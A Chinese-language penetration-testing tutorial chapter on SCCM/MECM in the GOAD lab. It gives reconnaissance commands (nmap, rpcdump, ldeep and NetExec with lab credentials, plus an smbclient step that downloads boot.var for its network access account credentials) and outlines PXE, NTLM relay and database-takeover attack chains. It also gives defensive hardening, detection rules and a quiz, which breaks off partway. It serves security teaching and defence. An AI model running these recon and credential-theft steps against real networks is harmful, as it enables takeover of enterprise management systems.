在前面的章節中,我們探討了 Active Directory 環境中的各種攻擊技術。今天,我們將把焦點轉移到企業環境中另一個關鍵的管理基礎設施:Microsoft System Center Configuration Manager (SCCM)。這個強大的系統管理工具,在提供便利的集中管理功能的同時,也成為了攻擊者眼中極具價值的目標。
從防禦者的角度來看,理解 SCCM 的攻擊面同樣重要。唯有深入了解潛在的威脅向量,才能建立有效的防禦機制,保護企業的核心管理基礎設施。
System Center Configuration Manager,現已更名為 Microsoft Endpoint Configuration Manager (MECM) 或 Microsoft Configuration Manager (ConfigMgr),是微軟開發的企業級系統管理解決方案。它能夠協助系統管理員管理大型 Active Directory 環境中的伺服器和工作站。
SCCM 是一個選用的服務,並非所有組織都會部署。然而,對於大型企業而言,SCCM 提供的集中管理能力幾乎是不可或缺的。正因如此,一旦攻擊者掌控了 SCCM 基礎架構,就等同於獲得了對整個企業網路的廣泛控制權。
SCCM 提供了多種管理功能:
功能類別 | 說明 | 安全風險等級 |
---|---|---|
應用程式管理 | 遠端安裝與解除安裝應用程式 | 高 |
系統配置 | 設定網路與應用程式參數 | 中 |
更新管理 | 部署修補程式和安全更新 | 高 |
腳本執行 | 在多台機器上執行管理腳本 | 極高 |
作業系統部署 | 透過 PXE Boot 部署作業系統映像 | 高 |
資產盤點 | 收集硬體和軟體清單 | 中 |
合規性管理 | 確保系統符合企業政策 | 中 |
安全警示:這些強大功能也是攻擊者的主要目標。特別是腳本執行功能,一旦被濫用,可以在數分鐘內控制整個企業網路。
Primary Server(主要伺服器)
MSSQL Primary Database(主要資料庫)
SMS Provider
Distribution Point(發布點)
Management Point(管理點)
管理流程
內容分發流程
客戶端回報流程
攻擊者針對 SCCM 環境主要有以下幾種攻擊路徑:
攻擊起點
│
├─► 1. PXE Boot 攻擊 (無需認證)
│ │
│ ├─► TFTP 取得 boot.var
│ ├─► 提取 NAA 憑證
│ └─► 取得網域加入帳戶
│
├─► 2. 客戶端推送利用 (低權限)
│ │
│ ├─► 偽造 DDR 請求
│ ├─► 捕獲推送帳戶認證
│ └─► 本地管理員權限
│
├─► 3. 憑證收集 (需管理員權限)
│ │
│ ├─► WMI 查詢政策
│ ├─► 磁碟掃描敏感檔案
│ └─► DPAPI 解密
│
├─► 4. NTLM 中繼攻擊 (中等權限)
│ │
│ ├─► PrinterBug 觸發
│ ├─► 中繼到 MSSQL/SMS Provider
│ └─► 資料庫控制/API 存取
│
└─► 5. 站點接管後橫向移動 (完全控制)
│
├─► 應用程式部署
├─► 腳本部署
├─► CMPivot 列舉
└─► 全網控制
1. PXE Boot 攻擊
2. 客戶端推送利用
3. 憑證收集
4. NTLM 中繼攻擊
5. 站點接管後的橫向移動
本次實驗使用 GOAD (Game of Active Directory) 的 SCCM 實驗環境,架構如下:
主機名稱 | IP 位址 | 角色 | 關鍵服務 |
---|---|---|---|
DC | 192.168.52.10 | 網域控制站 | AD DS, DNS |
MECM | 192.168.52.11 | SCCM 主要伺服器 | 管理點、發布點、SMS Provider |
MSSQL | 192.168.52.12 | 資料庫伺服器 | SQL Server 2022 |
CLIENT | 192.168.52.20 | SCCM 客戶端 | SCCM Client Agent |
網路設定:
在開始安裝前,請確認:
硬體資源
軟體需求
時間準備
步驟 1:環境準備
進入 GOAD 專案目錄:
cd GOAD
python goad.py
如果之前有安裝其他 GOAD 環境,使用 unload
清除現有設定:
unload
步驟 2:網路設定
新增 VMware 網路介面卡:
步驟 3:配置 SCCM 實驗室
在 GOAD 互動式選單中執行以下命令:
set_lab SCCM
set_ip_range 192.168.52
install
確認安裝(輸入 y):
步驟 4:監控安裝進度
安裝過程會經歷以下階段:
安裝可能會在某些階段看似「卡住」,這是正常現象,請耐心等待。
問題 | 可能原因 | 解決方案 |
---|---|---|
安裝卡在 MECM 設定階段 | 記憶體不足 | 增加至少 20GB RAM |
虛擬機器無法啟動 | 虛擬化未啟用 | 檢查 BIOS 設定中的 VT-x/AMD-V |
網路連線失敗 | VMnet4 設定錯誤 | 確認網路介面卡設定和防火牆規則 |
SQL Server 安裝失敗 | 磁碟空間不足 | 確保至少 50GB 可用空間 |
SCCM 安裝逾時 | 網路速度慢 | 使用有線網路,避免無線連線 |
安裝失敗後無法重試 | 殘留設定 | 使用 use [InstanID] 切換到失敗的實例 |
安裝失敗處理
如果安裝過程中斷或失敗:
# 查看 Ansible 日誌
tail -f /path/to/goad/logs/ansible.log
use [InstanID]
install
在開始滲透測試之前,我們需要先設定本地的 hosts 檔案,以便正確解析內部網域名稱。
編輯 /etc/hosts
檔案:
sudo vim /etc/hosts
加入以下內容:
# SCCM Lab
192.168.52.10 dc.sccm.lab dc DC
192.168.52.11 mecm.sccm.lab mecm MECM
192.168.52.12 mssql.sccm.lab mssql MSSQL
192.168.52.20 client.sccm.lab client CLIENT
在進行 SCCM 環境的滲透測試時,我們採用系統化的偵察流程:
偵察階段決策樹
開始偵察
│
├─► TCP 端口掃描 ─► 識別 SCCM 核心服務
│ │
│ ├─► IIS (80/443) - AdminService API
│ ├─► SMB (445) - 共享和認證
│ ├─► MSSQL (1433) - 資料庫服務
│ ├─► 10123 - 客戶端通知
│ └─► WSUS (8530/8531) - 更新服務
│
├─► UDP 端口掃描 ─► 發現 PXE Boot 環境
│ │
│ └─► TFTP (69) - PXE 攻擊可行性
│
├─► SSL 憑證檢查 ─► 評估加密設定
│ │
│ └─► 自簽憑證、弱加密套件
│
├─► RPC 協定列舉 ─► 識別可利用的服務
│ │
│ └─► MS-RPRN - PrinterBug 攻擊
│
├─► LDAP 深入查詢 ─► 取得站點資訊
│ │
│ ├─► 站點代碼 (Site Code)
│ ├─► 管理點位置
│ └─► 發布點資訊
│
└─► SMB 共享列舉 ─► 評估檔案存取權限
│
├─► signing:False - NTLM Relay
├─► REMINST - PXE 檔案存取
└─► SCCMContentLib$ - 部署內容
在 SCCM 環境中,不同的端口代表不同的攻擊面:
端口 | 服務 | 功能 | 攻擊價值 |
---|---|---|---|
80/443 | IIS/AdminService | 管理 API | 高 - 可利用 API 新增管理員 |
445 | SMB | 檔案共享 | 極高 - NTLM Relay 主要目標 |
1433 | MSSQL | 資料庫 | 極高 - 資料庫控制等於完全控制 |
10123 | 客戶端通知 | 即時通訊 | 中 - 可能的 DoS 攻擊點 |
8530/8531 | WSUS | 更新服務 | 高 - 更新劫持攻擊 |
首先,我們使用 nmap 對目標網段進行 TCP 端口掃描,重點關注 SCCM 相關的服務端口:
nmap -p 80,443,445,1433,10123,8530,8531 -sV 192.168.52.11-12
參數說明:
-p 80,443,445,1433,10123,8530,8531
:指定要掃描的端口
80
:HTTP(IIS Web 服務)443
:HTTPS(IIS Web 服務加密連線)445
:SMB(Server Message Block,檔案共享服務)1433
:MSSQL Server(資料庫服務)10123
:SCCM 客戶端通知端口8530
:WSUS HTTP(Windows Update 服務)8531
:WSUS HTTPS(Windows Update 服務加密連線)-sV
:版本偵測,嘗試識別服務版本資訊192.168.52.11-12
:目標 IP 範圍觀察這些關鍵指標:
192.168.52.11(SCCM 主要伺服器 - MECM):
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds?
1433/tcp closed ms-sql-s
8530/tcp open http Microsoft IIS httpd 10.0
8531/tcp open unknown
10123/tcp open ssl/unknown
關鍵發現:
192.168.52.12(資料庫伺服器 - MSSQL):
PORT STATE SERVICE VERSION
80/tcp closed http
443/tcp closed https
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000
關鍵發現:
架構評估:
這個架構設定表明 SCCM 採用了分散式部署,主要伺服器和資料庫伺服器分離,符合企業級部署的最佳實踐。這種配置提供了更好的效能和可擴展性,但也為 NTLM 中繼攻擊提供了機會:
攻擊者視角:
防禦者視角:
PXE (Preboot Execution Environment) 是 SCCM 用於作業系統部署的關鍵功能。了解 PXE 環境的設定對於評估攻擊可行性至關重要。
接下來,我們針對 PXE Boot 相關的 UDP 端口進行掃描:
nmap -p 67,68,69,4011,547 -sU 192.168.52.11
參數說明:
-p 67,68,69,4011,547
:指定 UDP 端口
67
:DHCP 伺服器端口68
:DHCP 客戶端端口69
:TFTP(Trivial File Transfer Protocol)4011
:PXE Boot Server 端口547
:DHCPv6 伺服器端口-sU
:UDP 掃描模式192.168.52.11
:目標 IPPORT STATE SERVICE
67/udp open|filtered dhcps
68/udp closed dhcpc
69/udp open tftp
547/udp closed dhcpv6-server
4011/udp open|filtered altserviceboot
關鍵發現:
boot.var
檔案PXE Boot 攻擊鏈評估:
PXE Boot 攻擊流程
1. TFTP 連線 (UDP 69) ✓
│
├─► 請求 boot.sdi
├─► 請求 boot.bcd
└─► 請求 boot.var (關鍵目標)
2. 檔案分析
│
└─► 提取 boot.var 內容
│
├─► NAA 憑證 (DPAPI 加密)
├─► 工作序列變數
└─► 網域加入帳戶
3. 憑證解密
│
├─► 如果有 PXE 密碼:需要破解
└─► 如果無密碼:直接解密 ✓
4. 憑證利用
│
├─► 網域存取
├─► 橫向移動
└─► 進一步攻擊
這個設定確認了目標環境啟用了 PXE Boot 功能,這是進行 PXE Boot 攻擊的先決條件。TFTP 服務的開放狀態表明我們可以嘗試下載 PXE 相關檔案,這將是後續攻擊的重要步驟。
SSL/TLS 憑證的設定可以揭示許多安全資訊,包括加密強度、憑證有效性和潛在的設定問題。
使用 OpenSSL 檢查 SCCM 客戶端通知服務的憑證資訊:
openssl s_client -connect 192.168.52.11:10123
參數說明:
s_client
:OpenSSL 的 SSL/TLS 客戶端工具-connect 192.168.52.11:10123
:連接到指定的主機和端口Certificate chain
0 s:CN=MECM, CN=SMS
i:CN=MECM, CN=SMS
a:PKEY: RSA, 2048 (bit); sigalg: sha256WithRSAEncryption
v:NotBefore: Oct 10 09:27:26 2025 GMT; NotAfter: Apr 8 09:27:26 2026 GMT
Verification error: self-signed certificate
Verification error: unsuitable certificate purpose
關鍵資訊:
verify error:num=18:self-signed certificate
verify error:num=26:unsuitable certificate purpose
安全性評估總結:
項目 | 狀態 | 風險等級 | 建議 |
---|---|---|---|
自簽憑證 | 使用中 | 中 | 使用企業 CA 簽發的憑證 |
憑證用途 | 不正確 | 中 | 修正 Key Usage 設定 |
TLS 版本 | TLSv1.2 | 低 | 考慮強制使用 TLSv1.3 |
加密套件 | AES256-GCM | 低 | 安全的加密套件 |
金鑰長度 | 2048 位元 | 低 | 符合標準,可考慮升級 |
客戶端認證 | 未要求 | 中 | 實施雙向 TLS |
從攻擊者角度:
從防禦者角度:
遠端程序呼叫(RPC)協定提供了多種管理功能,但也可能成為攻擊的入口點。透過列舉可用的 RPC 協定,我們可以識別潛在的攻擊向量。
使用 Impacket 的 rpcdump 工具列舉可用的 RPC 協定:
rpcdump.py 192.168.52.11 | grep Protocol | grep -v 'N/A'
參數說明:
rpcdump.py
:Impacket 套件中的 RPC 端點映射工具192.168.52.11
:目標 IPgrep Protocol
:過濾出協定資訊grep -v 'N/A'
:排除無效或不適用的項目Protocol: [MS-RSP]: Remote Shutdown Protocol
Protocol: [MS-EVEN6]: EventLog Remoting Protocol
Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol
Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol
Protocol: [MS-RAA]: Remote Authorization API Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-PAN]: Print System Asynchronous Notification Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-SCMR]: Service Control Manager Remote Protocol
Protocol: [MS-WDSC]: Windows Deployment Services Control Protocol
Protocol: [MS-FASP]: Firewall and Advanced Security Protocol
Protocol: [MS-CMPO]: MSDTC Connection Manager
關鍵協定與攻擊面分析:
1. [MS-RPRN]:列印系統遠端協定
1. 呼叫 RpcRemoteFindFirstPrinterChangeNotificationEx
2. 指定攻擊者控制的 UNC 路徑
3. 目標伺服器向攻擊者發起 NTLM 認證
4. 攻擊者中繼認證到其他服務
2. [MS-TSCH]:工作排程器服務遠端協定
3. [MS-SAMR]:安全帳戶管理員遠端協定
4. [MS-SCMR]:服務控制管理員遠端協定
5. [MS-WDSC]:Windows 部署服務控制協定
6. [MS-EVEN6]:事件日誌遠端協定
7. [MS-RSP]:遠端關機協定
攻擊向量優先級排序:
協定 | 攻擊難度 | 影響範圍 | 優先級 | 典型利用場景 |
---|---|---|---|---|
MS-RPRN | 低 | 高 | 極高 | NTLM 中繼攻擊 |
MS-WDSC | 中 | 高 | 高 | SCCM OSD 操縱 |
MS-SCMR | 中 | 高 | 高 | 惡意服務植入 |
MS-TSCH | 中 | 高 | 高 | 持久化機制 |
MS-SAMR | 低 | 中 | 中 | 帳戶列舉 |
MS-EVEN6 | 低 | 中 | 中 | 偵察和清除痕跡 |
MS-RSP | 低 | 低 | 低 | DoS 攻擊 |
綜合評估:
從攻擊者的角度,[MS-RPRN] 協定的存在是最有價值的發現。結合之前發現的 SMB 簽章未啟用,這為 NTLM 中繼攻擊提供了完整的攻擊鏈。
在 SCCM 環境中,這特別危險:
Active Directory 透過 LDAP 儲存了大量的 SCCM 設定資訊。透過 LDAP 查詢,我們可以取得站點拓撲、伺服器角色和其他關鍵資訊。
在進行 LDAP 列舉之前,需要先安裝必要的工具:
安裝編譯相依套件:
sudo apt-get install -y libkrb5-dev krb5-config gcc python3-dev
安裝 ldeep 工具:
python -m pip install ldeep
使用 ldeep 列舉 SCCM 相關資訊:
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 sccm
參數說明:
-u carol
:使用者名稱-p SCCMftw
:密碼-d SCCM.lab
:網域名稱-s ldap://192.168.52.10
:LDAP 伺服器位址sccm
:ldeep 的 SCCM 列舉模組列舉結果:
Primary/Secondary Site: MECM.sccm.lab
Management point: MECM.sccm.lab
Default MP: True
Site code: P01
Potential distribution point: CN=MECM,CN=Computers,DC=sccm,DC=lab
結果分析:
站點代碼(Site Code):P01
主要站點伺服器:MECM.sccm.lab
管理點:MECM.sccm.lab
發布點:MECM
進一步查詢管理點的詳細資訊:
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(objectclass=mssmsmanagementpoint)" dnshostname,msSMSSiteCode
參數說明:
search
:執行自訂 LDAP 查詢"(objectclass=mssmsmanagementpoint)"
:搜尋 SCCM 管理點物件dnshostname,msSMSSiteCode
:指定要回傳的屬性查詢結果:
[{
"dNSHostName": "MECM.sccm.lab",
"dn": "CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab",
"mSSMSSiteCode": "P01"
}]
結果分析:
完整的 DN 路徑
CN=SMS-MP-P01-MECM.SCCM.LAB,
CN=System Management,
CN=System,
DC=sccm,DC=lab
DNS 主機名稱:MECM.sccm.lab
站點代碼確認:P01
列舉所有 SCCM 系統角色:
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(objectclass=mssmsserverlocatorpoint)" dnshostname,msSMSSiteCode
列舉 SCCM 客戶端:
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(&(objectclass=computer)(msSMS-DeviceManagementPoint=*))" name,dnshostname
列舉 SCCM 邊界:
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(objectclass=mssmsrouterserverlocatorpoint)" *
從攻擊者角度的價值:
這些 LDAP 查詢提供的資訊可以用於:
從防禦者角度的考量:
存取控制:
最小權限原則:
監控和警報:
SMB 共享通常包含敏感資訊和部署內容。評估共享的存取權限和內容對於理解攻擊面至關重要。
使用 NetExec (nxc) 列舉 SMB 共享:
nxc smb 192.168.52.11 -u carol -p SCCMftw -d SCCM.lab --shares
參數說明:
smb
:SMB 協定模組192.168.52.11
:目標 IP-u carol
:使用者名稱-p SCCMftw
:密碼-d SCCM.lab
:網域名稱--shares
:列舉共享資源SMB 192.168.52.11 445 MECM [*] Windows 10 / Server 2019 Build 17763 x64 (name:MECM) (domain:sccm.lab) (signing:False) (SMBv1:False)
SMB 192.168.52.11 445 MECM [+] SCCM.lab\carol:SCCMftw
系統資訊:
SMB 簽章狀態分析:
signing:False
是最關鍵的發現,這意味著:
SMB 192.168.52.11 445 MECM [*] Enumerated shares
SMB 192.168.52.11 445 MECM Share Permissions Remark
SMB 192.168.52.11 445 MECM ----- ----------- ------
SMB 192.168.52.11 445 MECM ADMIN$ Remote Admin
SMB 192.168.52.11 445 MECM AdminUIContentPayload AdminUIContentPayload share for AdminUIContent Packages
SMB 192.168.52.11 445 MECM C$ Default share
SMB 192.168.52.11 445 MECM EasySetupPayload EasySetupPayload share for EasySetup Packages
SMB 192.168.52.11 445 MECM IPC$ READ Remote IPC
SMB 192.168.52.11 445 MECM REMINST READ RemoteInstallation
SMB 192.168.52.11 445 MECM SCCMContentLib$ READ 'Configuration Manager' Content Library for site P01 (10/11/2025)
SMB 192.168.52.11 445 MECM SMSPKGC$ READ SMS Site P01 DP 10/11/2025
SMB 192.168.52.11 445 MECM SMSSIG$ READ SMS Site P01 DP 10/11/2025
SMB 192.168.52.11 445 MECM SMS_CPSC$ SMS Compressed Package Storage
SMB 192.168.52.11 445 MECM SMS_DP$ ConfigMgr Site Server DP share
SMB 192.168.52.11 445 MECM SMS_OCM_DATACACHE OCM inbox directory
SMB 192.168.52.11 445 MECM SMS_P01 SMS Site P01 10/11/25
SMB 192.168.52.11 445 MECM SMS_SITE SMS Site P01 10/11/25
SMB 192.168.52.11 445 MECM SMS_SUIAgent SMS Software Update Installation Agent -- 10/11/25
SMB 192.168.52.11 445 MECM UpdateServicesPackages READ A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
SMB 192.168.52.11 445 MECM WsusContent READ A network share to be used by Local Publishing to place published content on this WSUS system.
SMB 192.168.52.11 445 MECM WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
1. REMINST(RemoteInstallation)
boot.var
檔案(包含 NAA 憑證)boot.bcd
開機配置資料boot.sdi
系統部署映像# 連接到共享
smbclient //192.168.52.11/REMINST -U SCCM.lab/carol
# 搜尋 boot.var 檔案
find . -name "*.var"
# 下載檔案
get SMSBoot/x64/boot.x64.var
2. SCCMContentLib$(Content Library)
3. SMSPKGC$(SMS Site Packages)
4. SMSSIG$(SMS Signatures)
5. UpdateServicesPackages(WSUS Packages)
6. WsusContent(WSUS Content)
7. 管理共享(ADMIN$, C$)
關鍵安全問題:
SMB 簽章未啟用(signing:False)
過度寬鬆的共享權限
敏感資訊洩漏風險
良好的安全設定:
SMBv1 已停用
管理共享受保護
基於以上偵察結果,我們識別出以下潛在攻擊路徑:
攻擊路徑 | 所需權限 | 難度 | 影響範圍 | 隱蔽性 | 優先級 |
---|---|---|---|---|---|
PXE Boot 攻擊 | 無 | 低 | 網域使用者 | 高 | 極高 |
NTLM 中繼攻擊 | 網路存取 | 中 | SCCM 控制 | 中 | 極高 |
憑證收集(WMI) | 本地管理員 | 中 | 橫向移動 | 中 | 高 |
內容探索 | 網域使用者 | 低 | 資訊洩漏 | 高 | 中 |
資料庫直接攻擊 | 資料庫存取 | 高 | 完全控制 | 低 | 中 |
1. PXE Boot 攻擊(最優先)
攻擊鏈:
網路存取
↓
TFTP 連線 (UDP 69)
↓
下載 boot.var 檔案
↓
提取 NAA 憑證
↓
網域使用者存取
↓
橫向移動起點
優勢:
成功條件:
預期結果:
防禦措施:
2. NTLM 中繼攻擊(次優先)
攻擊鏈:
低權限網域存取
↓
PrinterBug 觸發(MS-RPRN)
↓
MECM 伺服器認證
↓
中繼到 MSSQL/SMS Provider
↓
資料庫控制 or API 存取
↓
新增 Full Administrator
↓
完全控制 SCCM 環境
優勢:
成功條件:
預期結果:
防禦措施:
3. SCCM 內容探索
攻擊鏈:
低權限網域存取
↓
存取可讀共享
↓
下載並分析內容
↓
提取敏感資訊
↓
規劃進階攻擊
目標共享:
可能發現:
防禦措施:
4. 憑證收集(需要管理員權限)
攻擊鏈:
本地管理員權限
↓
WMI 查詢 SCCM 政策
↓
提取 DPAPI 加密憑證
↓
解密憑證
↓
收集 NAA、集合變數等
↓
橫向移動
目標憑證:
工具:
防禦措施:
5. 資料庫直接攻擊
攻擊鏈:
資料庫存取權限
↓
連線到 MSSQL Server
↓
修改 RBAC 資料表
↓
新增 Full Administrator
↓
完全控制 SCCM
目標資料表:
RBAC_Admins
:管理員清單RBAC_ExtendedPermissions
:權限設定Collections
:集合定義防禦措施:
開始攻擊
有網域憑證?
├─ 否 → PXE Boot 攻擊
│ ├─ 成功 → 取得網域存取 → 繼續
│ └─ 失敗 → 尋找其他入口點
│
└─ 是 → 評估權限等級
│
├─ 低權限 → NTLM 中繼攻擊
│ ├─ SMB 簽章啟用?
│ │ ├─ 否 → 執行攻擊
│ │ └─ 是 → 內容探索
│ │
│ └─ 成功 → SCCM 控制
│
├─ 本地管理員 → 憑證收集
│ ├─ 收集所有可用憑證
│ └─ 橫向移動
│
└─ 資料庫存取 → 直接修改資料庫
└─ 新增管理員
這些偵察結果為後續的滲透測試活動提供了清晰的攻擊面和潛在入侵路徑。
SCCM 環境的安全需要多層次的防禦策略:
┌─────────────────────────────────────────────────┐
│ 防禦層次架構 │
├─────────────────────────────────────────────────┤
│ │
│ 第 1 層:網路層防禦 │
│ ├─ 網路分段 │
│ ├─ 防火牆規則 │
│ └─ 流量監控 │
│ │
│ 第 2 層:認證與授權 │
│ ├─ SMB 簽章 │
│ ├─ LDAP 簽章 │
│ ├─ EPA(擴充認證保護) │
│ └─ 最小權限原則 │
│ │
│ 第 3 層:SCCM 特定防護 │
│ ├─ Enhanced HTTP │
│ ├─ PXE 密碼保護 │
│ ├─ 管理員權限管理 │
│ └─ 客戶端推送設定 │
│ │
│ 第 4 層:監控與回應 │
│ ├─ 日誌收集與分析 │
│ ├─ 異常行為偵測 │
│ ├─ 警報機制 │
│ └─ 事件回應計畫 │
│ │
└─────────────────────────────────────────────────┘
網路分段
實施 VLAN 分離:
管理 VLAN(SCCM 伺服器)
├─ Primary Server
├─ SQL Server
└─ SMS Provider
部署 VLAN(Distribution Points)
└─ 僅允許內容分發流量
客戶端 VLAN(終端使用者)
└─ 僅允許必要的 SCCM 通訊
防火牆規則範例:
# 僅允許必要的 SCCM 流量
New-NetFirewallRule -DisplayName "SCCM MP to SQL" `
-Direction Outbound `
-LocalPort 1433 `
-Protocol TCP `
-RemoteAddress 192.168.52.12 `
-Action Allow
# 限制 TFTP 存取來源
New-NetFirewallRule -DisplayName "TFTP from Management Network" `
-Direction Inbound `
-LocalPort 69 `
-Protocol UDP `
-RemoteAddress 192.168.52.0/24 `
-Action Allow
# 封鎖其他來源的 TFTP
New-NetFirewallRule -DisplayName "Block External TFTP" `
-Direction Inbound `
-LocalPort 69 `
-Protocol UDP `
-Action Block
啟用 SMB 簽章(最重要)
在所有 SCCM 伺服器上:
# 要求 SMB 簽章
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
# 驗證設定
Get-SmbServerConfiguration | Select RequireSecuritySignature
透過群組原則:
電腦設定 → 原則 → Windows 設定 → 安全性設定 → 本機原則 → 安全性選項
→ Microsoft 網路伺服器: 數位簽章通訊 (一律) = 已啟用
→ Microsoft 網路用戶端: 數位簽章通訊 (一律) = 已啟用
啟用 LDAP 簽章和通道繫結
# 在網域控制站上啟用 LDAP 簽章
Set-ADDomainController -LDAPServerIntegrity 2
# 啟用 LDAP 通道繫結
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LdapEnforceChannelBinding" -Value 2
啟用 EPA(Extended Protection for Authentication)
# SQL Server EPA 設定
# 在 SQL Server Configuration Manager 中:
# SQL Server Network Configuration → Protocols for [Instance]
# → Properties → Advanced → Extended Protection = Required
遷移到 Enhanced HTTP
Enhanced HTTP 可以取代傳統的 NAA,大幅提升安全性:
步驟:
好處:
PXE Boot 安全設定
啟用 PXE 密碼:
# 透過 PowerShell 設定 PXE 密碼
$SiteCode = "P01"
$ProviderMachineName = "MECM.sccm.lab"
$PxePassword = Read-Host -AsSecureString "Enter PXE Password"
# 匯入 ConfigurationManager 模組
Import-Module "$($ENV:SMS_ADMIN_UI_PATH)\..\ConfigurationManager.psd1"
Set-Location "$($SiteCode):"
# 設定 PXE 回應器
Set-CMDistributionPoint -SiteSystemServerName $ProviderMachineName `
-EnablePxe $true `
-AllowPxeResponse $true `
-EnableUnknownComputerSupport $true `
-PxePassword $PxePassword
其他建議:
停用客戶端推送安裝
如果不需要自動推送:
# 停用客戶端推送
Set-CMClientPushInstallation -SiteCode $SiteCode -EnableAutomaticClientPushInstallation $false
改用 Pull 模式:
限制 SCCM 管理員權限
實施角色型存取控制(RBAC):
# 建立自訂安全性角色
New-CMSecurityRole -Name "Limited SCCM Admin" `
-Description "Restricted admin for application deployment only"
# 移除不需要的權限
Set-CMSecurityRolePermission -SecurityRoleName "Limited SCCM Admin" `
-Operation "Delete" `
-ObjectTypeName "SMS_Package"
資料庫存取控制
限制機器帳戶權限:
-- 移除 MECM 機器帳戶的 sysadmin 角色
USE master;
EXEC sp_dropsrvrolemember 'SCCM\MECM$', 'sysadmin';
-- 僅授予必要的資料庫權限
USE CM_P01;
CREATE USER [SCCM\MECM$] FOR LOGIN [SCCM\MECM$];
EXEC sp_addrolemember 'db_datareader', 'SCCM\MECM$';
EXEC sp_addrolemember 'db_datawriter', 'SCCM\MECM$';
關鍵日誌來源
設定集中式日誌收集:
日誌來源 | 位置 | 關鍵事件 |
---|---|---|
SCCM Primary Server | C:\Program Files\Microsoft Configuration Manager\Logs\ |
所有 .log 檔案 |
SQL Server | SQL Server 稽核日誌 | 登入、權限變更 |
Windows 安全性日誌 | 事件檢視器 | 4624, 4625, 4672, 4768 |
SMB 日誌 | 事件檢視器 → Microsoft-Windows-SMBServer | 客戶端連線 |
RPC 日誌 | 事件檢視器 | RPC 呼叫 |
異常行為偵測規則
使用 SIEM 建立警報:
條件:
- 來自非預期來源的 NTLM 認證
- 短時間內對多個系統的認證失敗
- 機器帳戶的異常認證模式
條件:
- 非預期時間的 TFTP 請求
- 來自非管理網段的 PXE 請求
- 大量的 boot.var 檔案下載
條件:
- RBAC 資料表的修改
- 非預期帳戶的資料庫登入
- 批次的權限變更
條件:
- 非工作時間的大規模部署
- 針對所有系統的腳本執行
- 未經核准的部署
監控腳本範例
PowerShell 監控腳本:
# 監控 SCCM 管理員變更
$SiteCode = "P01"
$LastCheck = (Get-Date).AddHours(-1)
Get-CMAdministrativeUser | Where-Object {
$_.LastModifiedDate -gt $LastCheck
} | ForEach-Object {
Write-Warning "Admin changed: $($_.LogonName) at $($_.LastModifiedDate)"
# 發送警報
}
# 監控異常部署
Get-CMDeployment | Where-Object {
$_.CreationTime -gt $LastCheck -and
$_.CollectionName -eq "All Systems"
} | ForEach-Object {
Write-Warning "Deployment to All Systems: $($_.ApplicationName)"
# 發送警報
}
在 SCCM 架構中,哪個元件負責在 SCCM 服務與 MSSQL 資料庫之間提供通訊介面?
A. Distribution Point
B. Management Point
C. SMS Provider
D. Primary Server
答案:C
詳細說明:
SMS Provider 是 SCCM 架構中的關鍵元件,它在 SCCM 服務與 MSSQL 資料庫之間提供通訊介面。SMS Provider 提供 WMI 介面和 REST API(AdminService),允許管理員和工具與 SCCM 資料庫互動。
其他選項:
從防禦角度:SMS Provider 是關鍵的攻擊目標,應該:
在 PXE Boot 攻擊中,攻擊者主要想要取得哪個檔案來提取網路存取帳戶(NAA)憑證?
A. boot.bcd
B. boot.var
C. boot.wim
D. boot.sdi
答案:B
詳細說明:
在 PXE Boot 攻擊中,boot.var
檔案是關鍵目標。這個變數檔案包含:
其他檔案的用途:
攻擊流程:
防禦措施:
在 SCCM 環境中,哪個 UDP 端口是 TFTP 服務使用的,通常用於 PXE Boot 攻擊?
A. 67
B. 68
C. 69
D. 4011
答案:C
詳細說明:
UDP 端口 69 是 TFTP(Trivial File Transfer Protocol)服務使用的標準端口。在 SCCM 的 PXE Boot 場景中,TFTP 用於傳輸開機檔案,包括 boot.var、boot.bcd 等檔案。
其他端口的用途:
TFTP 的安全問題:
防火牆規則建議:
# 僅允許來自管理網段的 TFTP
New-NetFirewallRule -DisplayName "TFTP from Management Network" `
-Direction Inbound `
-LocalPort 69 `
-Protocol UDP `
-RemoteAddress 192.168.52.0/24 `
-Action Allow
# 封鎖其他來源
New-NetFirewallRule -DisplayName "Block External TFTP" `
-Direction Inbound `
-LocalPort 69 `
-Protocol UDP `
-Action Block
根據偵察結果,哪個發現表明環境容易受到 NTLM 中繼攻擊?
A. MSSQL Server 版本是 2022
B. SMB 簽章未啟用(signing:False)
C. TLS 協定版本是 1.2
D. 使用自簽 SSL 憑證
答案:B
詳細說明:
SMB 簽章未啟用(signing:False)是 NTLM 中繼攻擊的關鍵條件。當 SMB 簽章被停用時,攻擊者可以攔截 NTLM 認證並將其中繼到其他服務(如 MSSQL、LDAP 或其他 SMB 服務),而不會被偵測到認證被竄改。
為什麼其他選項不正確:
在 SCCM 環境中,這特別危險:
高價值目標:
攻擊鏈:
PrinterBug 觸發 MECM 認證
↓
中繼到 MSSQL Server
↓
執行為 MECM$ 帳戶(db owner)
↓
修改 RBAC_Admins 資料表
↓
新增 Full Administrator
↓
完全控制 SCCM 環境
防禦措施(優先順序):
# 在所有 SCCM 伺服器上
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
偵測方法:
在 RPC 協定列舉中發現了 [MS-RPRN] 協定,這個協定可以用於什麼類型的攻擊?
A. SQL 注入攻擊
B. 緩衝區溢位攻擊
C. 強制 NTLM 認證攻擊(PrinterBug)
D. 跨站腳本攻擊
答案:C
詳細說明:
